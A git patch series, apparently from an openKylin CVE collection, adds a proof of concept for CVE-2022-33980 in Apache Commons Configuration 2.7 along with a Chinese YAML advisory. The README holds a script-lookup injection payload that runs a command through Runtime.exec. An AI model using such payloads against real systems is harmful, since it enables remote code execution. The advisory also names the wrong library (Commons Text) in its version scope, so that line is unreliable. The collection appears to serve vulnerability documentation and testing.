From b3e5ea789fedd769d9c5969fb1b4dc8962666e13 Mon Sep 17 00:00:00 2001 From: siqian123 Date: Tue, 25 Apr 2023 09:39:26 +0800 Subject: [PATCH 1/4] tianjiaCVE-2022-33980 --- .../2022/CVE-2022-33980/CVE_2022_33980.java | 23 ++++ cve/apache-CC/2022/CVE-2022-33980/README.md | 3 + cve/apache-CC/2022/CVE-2022-33980/pom.xml | 102 ++++++++++++++++++ cve/apache-CC/2022/yaml/CVE-2022-33980.yaml | 20 ++++ 4 files changed, 148 insertions(+) create mode 100755 cve/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java create mode 100755 cve/apache-CC/2022/CVE-2022-33980/README.md create mode 100755 cve/apache-CC/2022/CVE-2022-33980/pom.xml create mode 100755 cve/apache-CC/2022/yaml/CVE-2022-33980.yaml diff --git a/cve/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java b/cve/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java new file mode 100755 index 00000000..d1ea060a --- /dev/null +++ b/cve/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java @@ -0,0 +1,23 @@ +import org.apache.commons.configuration2.interpol.ConfigurationInterpolator; +import org.apache.commons.configuration2.interpol.InterpolatorSpecification; + +public class CVE_2022_33980 { + private static String onInput(String input) { + InterpolatorSpecification spec = new InterpolatorSpecification.Builder() + .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) + .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()) + .create(); + + ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec); + return interpolator.interpolate(input).toString(); + } + + public static void main(String[] args) { + while (true) { + System.out.print("Input: "); + String input = System.console().readLine(); + String output = onInput(input); + System.out.println("Output: " + output); + } + } +} diff --git a/cve/apache-CC/2022/CVE-2022-33980/README.md b/cve/apache-CC/2022/CVE-2022-33980/README.md new file mode 100755 index 00000000..157d5992 --- /dev/null +++ b/cve/apache-CC/2022/CVE-2022-33980/README.md @@ -0,0 +1,3 @@ +# CVE-2022-33980 + +`${script:js:java.lang.Runtime.getRuntime().exec("calc")}` diff --git a/cve/apache-CC/2022/CVE-2022-33980/pom.xml b/cve/apache-CC/2022/CVE-2022-33980/pom.xml new file mode 100755 index 00000000..e988f2b0 --- /dev/null +++ b/cve/apache-CC/2022/CVE-2022-33980/pom.xml @@ -0,0 +1,102 @@ + + 4.0.0 + + + com.sammwy + poc_cve_2022_33980 + 0.0.1 + + + poc_cve_2022_33980 + This is just a boilerplate project. + http://www.example.com + + + + CVE_2022_33980 + 1.8 + + UTF-8 + + + + + + junit + junit + 4.11 + test + + + + org.apache.commons + commons-configuration2 + 2.7 + + + + + + + ${artifactId} + + clean install + + + + src/main/resources + true + + + + + + maven-clean-plugin + 3.1.0 + + + maven-resources-plugin + 3.0.2 + + + + maven-compiler-plugin + 3.8.1 + + ${javaVersion} + ${javaVersion} + + + + maven-surefire-plugin + 2.22.1 + + + maven-install-plugin + 2.5.2 + + + org.apache.maven.plugins + maven-assembly-plugin + + + package + + single + + + + + ${mainClass} + + + + jar-with-dependencies + + + + + + + + \ No newline at end of file diff --git a/cve/apache-CC/2022/yaml/CVE-2022-33980.yaml b/cve/apache-CC/2022/yaml/CVE-2022-33980.yaml new file mode 100755 index 00000000..5dadfe3c --- /dev/null +++ b/cve/apache-CC/2022/yaml/CVE-2022-33980.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-33980 +source: https://github.com/sammwyy/CVE-2022-33980-POC +info: + name: Apache Commons Configuration执行变量插值，允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"，其中"prefix"用来定位执行插值的org.apache.commons.configuration2.interpol.Lookup的实例。。 + severity: CRITICAL + description: + 从版本2.4开始，一直到2.7，默认查找实例集包括可以导致任意代码执行或与远程服务器联系的插值器。这些查找是:—“script”—使用JVM脚本执行引擎(javax.script)执行表达式—“dns”—解析dns记录—“url”—从url加载值，包括从远程服务器加载值，在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行的影响，如果使用了不受信任的配置值，可能会无意地与远程服务器接触。该版本默认禁用有问题的插补器。 + scope-of-influence: + 2.4 <= Apache Commons Text <= 2.7 + reference: + - https://blog.csdn.net/Xxy605/article/details/126114740 + - https://blog.csdn.net/kjcxmx/article/details/126276689 + classification: + cvss-metrics: + cvss-score: + cve-id: CVE-2022-33980 + cwe-id: None + cnvd-id: None + kve-id: None + tags: CVE-2022, apache Commons Configuration -- Gitee From 92cb2889bd45e685f5a9f38b2d5e398aeccfa2c1 Mon Sep 17 00:00:00 2001 From: siqian123 Date: Tue, 25 Apr 2023 09:44:23 +0800 Subject: [PATCH 2/4] tianjiaCVE-2022-33980 --- .../2022/CVE-2022-33980/CVE_2022_33980.java | 23 ++++ apache-CC/2022/CVE-2022-33980/README.md | 3 + apache-CC/2022/CVE-2022-33980/pom.xml | 102 ++++++++++++++++++ apache-CC/2022/yaml/CVE-2022-33980.yaml | 20 ++++ cve/2022/CVE-2022-33980/CVE_2022_33980.java | 23 ++++ cve/2022/CVE-2022-33980/README.md | 3 + cve/2022/CVE-2022-33980/pom.xml | 102 ++++++++++++++++++ cve/2022/yaml/CVE-2022-33980.yaml | 20 ++++ openkylin_list.yaml | 2 + 9 files changed, 298 insertions(+) create mode 100755 apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java create mode 100755 apache-CC/2022/CVE-2022-33980/README.md create mode 100755 apache-CC/2022/CVE-2022-33980/pom.xml create mode 100755 apache-CC/2022/yaml/CVE-2022-33980.yaml create mode 100755 cve/2022/CVE-2022-33980/CVE_2022_33980.java create mode 100755 cve/2022/CVE-2022-33980/README.md create mode 100755 cve/2022/CVE-2022-33980/pom.xml create mode 100755 cve/2022/yaml/CVE-2022-33980.yaml diff --git a/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java b/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java new file mode 100755 index 00000000..d1ea060a --- /dev/null +++ b/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java @@ -0,0 +1,23 @@ +import org.apache.commons.configuration2.interpol.ConfigurationInterpolator; +import org.apache.commons.configuration2.interpol.InterpolatorSpecification; + +public class CVE_2022_33980 { + private static String onInput(String input) { + InterpolatorSpecification spec = new InterpolatorSpecification.Builder() + .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) + .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()) + .create(); + + ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec); + return interpolator.interpolate(input).toString(); + } + + public static void main(String[] args) { + while (true) { + System.out.print("Input: "); + String input = System.console().readLine(); + String output = onInput(input); + System.out.println("Output: " + output); + } + } +} diff --git a/apache-CC/2022/CVE-2022-33980/README.md b/apache-CC/2022/CVE-2022-33980/README.md new file mode 100755 index 00000000..157d5992 --- /dev/null +++ b/apache-CC/2022/CVE-2022-33980/README.md @@ -0,0 +1,3 @@ +# CVE-2022-33980 + +`${script:js:java.lang.Runtime.getRuntime().exec("calc")}` diff --git a/apache-CC/2022/CVE-2022-33980/pom.xml b/apache-CC/2022/CVE-2022-33980/pom.xml new file mode 100755 index 00000000..e988f2b0 --- /dev/null +++ b/apache-CC/2022/CVE-2022-33980/pom.xml @@ -0,0 +1,102 @@ + + 4.0.0 + + + com.sammwy + poc_cve_2022_33980 + 0.0.1 + + + poc_cve_2022_33980 + This is just a boilerplate project. + http://www.example.com + + + + CVE_2022_33980 + 1.8 + + UTF-8 + + + + + + junit + junit + 4.11 + test + + + + org.apache.commons + commons-configuration2 + 2.7 + + + + + + + ${artifactId} + + clean install + + + + src/main/resources + true + + + + + + maven-clean-plugin + 3.1.0 + + + maven-resources-plugin + 3.0.2 + + + + maven-compiler-plugin + 3.8.1 + + ${javaVersion} + ${javaVersion} + + + + maven-surefire-plugin + 2.22.1 + + + maven-install-plugin + 2.5.2 + + + org.apache.maven.plugins + maven-assembly-plugin + + + package + + single + + + + + ${mainClass} + + + + jar-with-dependencies + + + + + + + + \ No newline at end of file diff --git a/apache-CC/2022/yaml/CVE-2022-33980.yaml b/apache-CC/2022/yaml/CVE-2022-33980.yaml new file mode 100755 index 00000000..5dadfe3c --- /dev/null +++ b/apache-CC/2022/yaml/CVE-2022-33980.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-33980 +source: https://github.com/sammwyy/CVE-2022-33980-POC +info: + name: Apache Commons Configuration执行变量插值，允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"，其中"prefix"用来定位执行插值的org.apache.commons.configuration2.interpol.Lookup的实例。。 + severity: CRITICAL + description: + 从版本2.4开始，一直到2.7，默认查找实例集包括可以导致任意代码执行或与远程服务器联系的插值器。这些查找是:—“script”—使用JVM脚本执行引擎(javax.script)执行表达式—“dns”—解析dns记录—“url”—从url加载值，包括从远程服务器加载值，在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行的影响，如果使用了不受信任的配置值，可能会无意地与远程服务器接触。该版本默认禁用有问题的插补器。 + scope-of-influence: + 2.4 <= Apache Commons Text <= 2.7 + reference: + - https://blog.csdn.net/Xxy605/article/details/126114740 + - https://blog.csdn.net/kjcxmx/article/details/126276689 + classification: + cvss-metrics: + cvss-score: + cve-id: CVE-2022-33980 + cwe-id: None + cnvd-id: None + kve-id: None + tags: CVE-2022, apache Commons Configuration diff --git a/cve/2022/CVE-2022-33980/CVE_2022_33980.java b/cve/2022/CVE-2022-33980/CVE_2022_33980.java new file mode 100755 index 00000000..d1ea060a --- /dev/null +++ b/cve/2022/CVE-2022-33980/CVE_2022_33980.java @@ -0,0 +1,23 @@ +import org.apache.commons.configuration2.interpol.ConfigurationInterpolator; +import org.apache.commons.configuration2.interpol.InterpolatorSpecification; + +public class CVE_2022_33980 { + private static String onInput(String input) { + InterpolatorSpecification spec = new InterpolatorSpecification.Builder() + .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) + .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()) + .create(); + + ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec); + return interpolator.interpolate(input).toString(); + } + + public static void main(String[] args) { + while (true) { + System.out.print("Input: "); + String input = System.console().readLine(); + String output = onInput(input); + System.out.println("Output: " + output); + } + } +} diff --git a/cve/2022/CVE-2022-33980/README.md b/cve/2022/CVE-2022-33980/README.md new file mode 100755 index 00000000..157d5992 --- /dev/null +++ b/cve/2022/CVE-2022-33980/README.md @@ -0,0 +1,3 @@ +# CVE-2022-33980 + +`${script:js:java.lang.Runtime.getRuntime().exec("calc")}` diff --git a/cve/2022/CVE-2022-33980/pom.xml b/cve/2022/CVE-2022-33980/pom.xml new file mode 100755 index 00000000..e988f2b0 --- /dev/null +++ b/cve/2022/CVE-2022-33980/pom.xml @@ -0,0 +1,102 @@ + + 4.0.0 + + + com.sammwy + poc_cve_2022_33980 + 0.0.1 + + + poc_cve_2022_33980 + This is just a boilerplate project. + http://www.example.com + + + + CVE_2022_33980 + 1.8 + + UTF-8 + + + + + + junit + junit + 4.11 + test + + + + org.apache.commons + commons-configuration2 + 2.7 + + + + + + + ${artifactId} + + clean install + + + + src/main/resources + true + + + + + + maven-clean-plugin + 3.1.0 + + + maven-resources-plugin + 3.0.2 + + + + maven-compiler-plugin + 3.8.1 + + ${javaVersion} + ${javaVersion} + + + + maven-surefire-plugin + 2.22.1 + + + maven-install-plugin + 2.5.2 + + + org.apache.maven.plugins + maven-assembly-plugin + + + package + + single + + + + + ${mainClass} + + + + jar-with-dependencies + + + + + + + + \ No newline at end of file diff --git a/cve/2022/yaml/CVE-2022-33980.yaml b/cve/2022/yaml/CVE-2022-33980.yaml new file mode 100755 index 00000000..5dadfe3c --- /dev/null +++ b/cve/2022/yaml/CVE-2022-33980.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-33980 +source: https://github.com/sammwyy/CVE-2022-33980-POC +info: + name: Apache Commons Configuration执行变量插值，允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"，其中"prefix"用来定位执行插值的org.apache.commons.configuration2.interpol.Lookup的实例。。 + severity: CRITICAL + description: + 从版本2.4开始，一直到2.7，默认查找实例集包括可以导致任意代码执行或与远程服务器联系的插值器。这些查找是:—“script”—使用JVM脚本执行引擎(javax.script)执行表达式—“dns”—解析dns记录—“url”—从url加载值，包括从远程服务器加载值，在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行的影响，如果使用了不受信任的配置值，可能会无意地与远程服务器接触。该版本默认禁用有问题的插补器。 + scope-of-influence: + 2.4 <= Apache Commons Text <= 2.7 + reference: + - https://blog.csdn.net/Xxy605/article/details/126114740 + - https://blog.csdn.net/kjcxmx/article/details/126276689 + classification: + cvss-metrics: + cvss-score: + cve-id: CVE-2022-33980 + cwe-id: None + cnvd-id: None + kve-id: None + tags: CVE-2022, apache Commons Configuration diff --git a/openkylin_list.yaml b/openkylin_list.yaml index a39bab91..0eaa3e43 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -20,6 +20,8 @@ cve: - CVE-2023-25194 apache-OFBiz: - CVE-2021-26295 + apache-CC: + - CVE-2022-33980 apache-Airflow: - CVE-2020-11978 apache-log4j: -- Gitee From 83ebbcfda250396447fc219711cb73d72552b25f Mon Sep 17 00:00:00 2001 From: siqian123 Date: Tue, 25 Apr 2023 10:00:41 +0800 Subject: [PATCH 3/4] tianjiaCVE-2022-33980 --- cve/apache-CC/2022/yaml/CVE-2022-33980.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/apache-CC/2022/yaml/CVE-2022-33980.yaml b/cve/apache-CC/2022/yaml/CVE-2022-33980.yaml index 5dadfe3c..6e237193 100755 --- a/cve/apache-CC/2022/yaml/CVE-2022-33980.yaml +++ b/cve/apache-CC/2022/yaml/CVE-2022-33980.yaml @@ -11,7 +11,7 @@ info: - https://blog.csdn.net/Xxy605/article/details/126114740 - https://blog.csdn.net/kjcxmx/article/details/126276689 classification: - cvss-metrics: + cvss-metrics: cvss-score: cve-id: CVE-2022-33980 cwe-id: None -- Gitee From 818601e1c8a69a800c52122ac16df46bf3692cfb Mon Sep 17 00:00:00 2001 From: siqian123 Date: Tue, 25 Apr 2023 20:19:52 +0800 Subject: [PATCH 4/4] CVE_2022_33980 --- .../2022/CVE-2022-33980/CVE_2022_33980.java | 23 ---- apache-CC/2022/CVE-2022-33980/README.md | 3 - apache-CC/2022/CVE-2022-33980/pom.xml | 102 ------------------ apache-CC/2022/yaml/CVE-2022-33980.yaml | 20 ---- 4 files changed, 148 deletions(-) delete mode 100755 apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java delete mode 100755 apache-CC/2022/CVE-2022-33980/README.md delete mode 100755 apache-CC/2022/CVE-2022-33980/pom.xml delete mode 100755 apache-CC/2022/yaml/CVE-2022-33980.yaml diff --git a/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java b/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java deleted file mode 100755 index d1ea060a..00000000 --- a/apache-CC/2022/CVE-2022-33980/CVE_2022_33980.java +++ /dev/null @@ -1,23 +0,0 @@ -import org.apache.commons.configuration2.interpol.ConfigurationInterpolator; -import org.apache.commons.configuration2.interpol.InterpolatorSpecification; - -public class CVE_2022_33980 { - private static String onInput(String input) { - InterpolatorSpecification spec = new InterpolatorSpecification.Builder() - .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()) - .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()) - .create(); - - ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec); - return interpolator.interpolate(input).toString(); - } - - public static void main(String[] args) { - while (true) { - System.out.print("Input: "); - String input = System.console().readLine(); - String output = onInput(input); - System.out.println("Output: " + output); - } - } -} diff --git a/apache-CC/2022/CVE-2022-33980/README.md b/apache-CC/2022/CVE-2022-33980/README.md deleted file mode 100755 index 157d5992..00000000 --- a/apache-CC/2022/CVE-2022-33980/README.md +++ /dev/null @@ -1,3 +0,0 @@ -# CVE-2022-33980 - -`${script:js:java.lang.Runtime.getRuntime().exec("calc")}` diff --git a/apache-CC/2022/CVE-2022-33980/pom.xml b/apache-CC/2022/CVE-2022-33980/pom.xml deleted file mode 100755 index e988f2b0..00000000 --- a/apache-CC/2022/CVE-2022-33980/pom.xml +++ /dev/null @@ -1,102 +0,0 @@ - - 4.0.0 - - - com.sammwy - poc_cve_2022_33980 - 0.0.1 - - - poc_cve_2022_33980 - This is just a boilerplate project. - http://www.example.com - - - - CVE_2022_33980 - 1.8 - - UTF-8 - - - - - - junit - junit - 4.11 - test - - - - org.apache.commons - commons-configuration2 - 2.7 - - - - - - - ${artifactId} - - clean install - - - - src/main/resources - true - - - - - - maven-clean-plugin - 3.1.0 - - - maven-resources-plugin - 3.0.2 - - - - maven-compiler-plugin - 3.8.1 - - ${javaVersion} - ${javaVersion} - - - - maven-surefire-plugin - 2.22.1 - - - maven-install-plugin - 2.5.2 - - - org.apache.maven.plugins - maven-assembly-plugin - - - package - - single - - - - - ${mainClass} - - - - jar-with-dependencies - - - - - - - - \ No newline at end of file diff --git a/apache-CC/2022/yaml/CVE-2022-33980.yaml b/apache-CC/2022/yaml/CVE-2022-33980.yaml deleted file mode 100755 index 5dadfe3c..00000000 --- a/apache-CC/2022/yaml/CVE-2022-33980.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: CVE-2022-33980 -source: https://github.com/sammwyy/CVE-2022-33980-POC -info: - name: Apache Commons Configuration执行变量插值，允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"，其中"prefix"用来定位执行插值的org.apache.commons.configuration2.interpol.Lookup的实例。。 - severity: CRITICAL - description: - 从版本2.4开始，一直到2.7，默认查找实例集包括可以导致任意代码执行或与远程服务器联系的插值器。这些查找是:—“script”—使用JVM脚本执行引擎(javax.script)执行表达式—“dns”—解析dns记录—“url”—从url加载值，包括从远程服务器加载值，在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行的影响，如果使用了不受信任的配置值，可能会无意地与远程服务器接触。该版本默认禁用有问题的插补器。 - scope-of-influence: - 2.4 <= Apache Commons Text <= 2.7 - reference: - - https://blog.csdn.net/Xxy605/article/details/126114740 - - https://blog.csdn.net/kjcxmx/article/details/126276689 - classification: - cvss-metrics: - cvss-score: - cve-id: CVE-2022-33980 - cwe-id: None - cnvd-id: None - kve-id: None - tags: CVE-2022, apache Commons Configuration -- Gitee